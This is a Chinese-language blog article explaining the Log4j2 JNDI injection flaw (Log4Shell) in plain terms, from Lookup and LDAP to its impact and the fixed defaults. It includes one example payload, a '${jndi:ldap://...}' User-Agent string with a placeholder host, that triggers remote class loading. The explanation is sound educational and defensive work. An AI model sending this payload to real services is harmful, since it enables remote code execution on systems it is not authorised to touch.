危险，Log4j藏有核弹级漏洞！
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2021-12-14 21:16
相信大家这两天应该被这么一条新闻刷屏了：
这个漏洞到底是怎么回事？
核弹级，真的有那么厉害吗？
怎么利用这个漏洞呢？
我看了很多技术分析文章，都太过专业，很多非Java技术栈或者不搞安全的人只能看个一知半解，导致大家只能看个热闹，对这个漏洞的成因、原理、利用方式、影响面理解的不到位。
这篇文章，我尝试让所有技术相关的朋友都能看懂：这个注定会载入网络安全史册上的漏洞，到底是怎么一回事！
log4j2
不管是什么编程语言，不管是前端后端还是客户端，对打日志都不会陌生。
通过日志，可以帮助我们了解程序的运行情况，排查程序运行中出现的问题。
在Java技术栈中，用的比较多的日志输出框架主要是log4j2和logback。
今天讨论的主角就是log4j2。
我们经常会在日志中输出一些变量，比如：
logger.info("client ip: {}", clientIp)
现在思考一个问题：
假如现在想要通过日志输出一个Java对象，但这个对象不在程序中，而是在其他地方，比如可能在某个文件中，甚至可能在网络上的某个地方，这种时候怎么办呢？
log4j2的强大之处在于，除了可以输出程序中的变量，它还提供了一个叫Lookup的东西，可以用来输出更多内容：
lookup，顾名思义就是查找、搜索的意思，那在log4j2中，就是允许在输出日志的时候，通过某种方式去查找要输出的内容。
lookup相当于是一个接口，具体去哪里查找，怎么查找，就需要编写具体的模块去实现了，类似于面向对象编程中多态那意思。
好在，log4j2已经帮我们把常见的查找途径都进行实现了：
具体每一个的意思，这里就不详述了，这不是本文的重点。
JNDI
主要来看其中那个叫JNDI的东西：
JNDI即
Java Naming and Directory Interface（JAVA命名和目录接口），它提供一个目录系统，并将服务名称与对象关联起来，从而使得开发人员在开发过程中可以使用名称来访问对象。
看不懂？看不懂就对了！
简单粗暴理解：有一个类似于字典的数据源，你可以通过JNDI接口，传一个name进去，就能获取到对象了。
那不同的数据源肯定有不同的查找方式，所以JNDI也只是一个上层封装，在它下面也支持很多种具体的数据源。
LDAP
继续把目光聚焦，咱们只看这个叫LDAP的东西。
LDAP即
Lightweight Directory Access Protocol（轻量级目录访问协议），目录是一个为查询、浏览和搜索而优化的专业分布式数据库，它呈树状结构组织数据，就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同，它有优异的读性能，但写性能差，并且没有事务处理、回滚等复杂功能，不适于存储修改频繁的数据。所以目录天生是用来查询的，就好像它的名字一样。
看不懂？看不懂就对了！
这个东西用在统一身份认证领域比较多，但今天也不是这篇文章的重点。你只需要简单粗暴理解：有一个类似于字典的数据源，你可以通过LDAP协议，传一个name进去，就能获取到数据。
漏洞原理
好了，有了以上的基础，再来理解这个漏洞就很容易了。
假如某一个Java程序中，将浏览器的类型记录到了日志中：
String userAgent = request.getHeader("User-Agent");
logger.info(userAgent);
网络安全中有一个准则：不要信任用户输入的任何信息。
这其中，User-Agent就属于外界输入的信息，而不是自己程序里定义出来的。只要是外界输入的，就有可能存在恶意的内容。
假如有人发来了一个HTTP请求，他的User-Agent是这样一个字符串：
${jndi:ldap://127.0.0.1/exploit}
接下来，log4j2将会对这行要输出的字符串进行解析。
首先，它发现了字符串中有 ${}，知道这个里面包裹的内容是要单独处理的。
进一步解析，发现是JNDI扩展内容。
再进一步解析，发现了是LDAP协议，LDAP服务器在127.0.0.1，要查找的key是exploit。
最后，调用具体负责LDAP的模块去请求对应的数据。
如果只是请求普通的数据，那也没什么，但问题就出在还可以请求Java对象！
Java对象一般只存在于内存中，但也可以通过序列化的方式将其存储到文件中，或者通过网络传输。
如果是自己定义的序列化方式也还好，但更危险的在于：JNDI还支持一个叫命名引用（Naming References）的方式，可以通过远程下载一个class文件，然后下载后加载起来构建对象。
PS：有时候Java对象比较大，直接通过LDAP这些存储不方便，就整了个类似于二次跳转的意思，不直接返回对象内容，而是告诉你对象在哪个class里，让你去那里找。
注意，这里就是核心问题了：JNDI可以远程下载class文件来构建对象！！！。
危险在哪里？
如果远程下载的URL指向的是一个黑客的服务器，并且下载的class文件里面藏有恶意代码，那不就完犊子了吗？
还没看懂？没关系，我画了一张图：
这就是鼎鼎大名的JNDI注入攻击！
其实除了LDAP，还有RMI的方式，有兴趣的可以了解下。
JNDI 注入
其实这种攻击手法不是这一次出现了，早在2016的blackhat大会上，就有大佬披露了这种攻击方式。
回过头来看，问题的核心在于：
Java允许通过JNDI远程去下载一个class文件来加载对象，如果这个远程地址是自己的服务器，那还好说，如果是可以被外界来指定的地址，那就要出大问题！
前面的例子中，一直用的127.0.0.1来代替LDAP服务器地址，那如果输入的User-Agent字符串中不是这个地址，而是一个恶意服务器地址呢？
影响规模
这一次漏洞的影响面之所以如此之大，主要还是log4j2的使用面实在是太广了。
一方面现在Java技术栈在Web、后端开发、大数据等领域应用非常广泛，国内除了阿里巴巴、京东、美团等一大片以Java为主要技术栈的公司外，还有多如牛毛的中小企业选择Java。
另一方面，还有好多像kafka、elasticsearch、flink这样的大量中间件都是用Java语言开发的。
在上面这些开发过程中，大量使用了log4j2作为日志输出。只要一个不留神，输出的日志有外部输入混进来，那直接就是远程代码执行RCE，灭顶之灾！
修复
新版的log4j2已经修复了这个问题，大家赶紧升级。
下面是log4j2官网中关于JNDI lookup的说明：
我通过搜索引擎找到了缓存的12月10号前的快照，大家对比一下，比起下面这个缓存，上面那一版多了哪些东西？
答案是：修复后的log4j2在JNDI lookup中增加了很多的限制：
默认不再支持二次跳转（也就是命名引用）的方式获取对象 只有在log4j2.allowedLdapClasses列表中指定的class才能获取。 只有远程地址是本地地址或者在log4j2.allowedLdapHosts列表中指定的地址才能获取
以上几道限制，算是彻底封锁了通过打印日志去远程加载class的这条路了。
最后，手机前的各位Java小伙伴儿们，你们写的程序中有用到log4j2吗，有没有某个地方的输出，有外部的参数混进来呢？
赶紧检查检查哦！
大家弄懂这个漏洞了吗？
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